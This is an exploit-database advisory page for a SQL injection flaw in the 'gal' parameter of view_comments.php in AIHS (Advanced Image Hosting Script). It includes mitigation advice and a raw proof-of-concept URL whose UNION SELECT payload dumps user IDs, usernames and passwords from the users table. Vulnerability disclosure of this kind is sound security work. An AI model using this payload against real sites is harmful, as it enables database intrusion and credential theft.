header-logo
Suggest Exploit
vendor:
AIHS (Advanced Image Hosting Script)
by:
Robert Cooper
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: AIHS (Advanced Image Hosting Script)
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: N/A
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux/Windows 7
2020

AIHS (Advanced Image Hosting Script) SQL Injection Vulnerability

A SQL injection vulnerability exists in the view_comments.php file of AIHS (Advanced Image Hosting Script). An attacker can exploit this vulnerability by sending a crafted HTTP request with a malicious SQL query to the vulnerable parameter 'gal' in the view_comments.php file. This can allow the attacker to gain access to the database and extract sensitive information such as usernames and passwords.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries. Additionally, parameterized queries should be used to prevent SQL injection attacks.
Source

Exploit-DB raw data:

# Exploit Title: AIHS (Advanced Image Hosting Script) SQL Injection Vulnerability
# Author: Robert Cooper ( Robert.Cooper [at] areyousecure.net )
# Software Link: http://yabsoft.com/
# Tested on: [Linux/Windows 7]

#Vulnerable File:
 
view_comments.php

#Vulnerable parameter:

view_comments.php?gal=[gallery id]

 
##############################################################
PoC:
 
www.example.com/view_comments.php?gal=109 union all select 1,2,3,4,5,6,7,group_concat(id,0x3a,user,0x3a,pass,0x0a) FROM users--
 
##############################################################

www.areyousecure.net

www.websiteauditing.org

 
# Shouts to the Belegit crew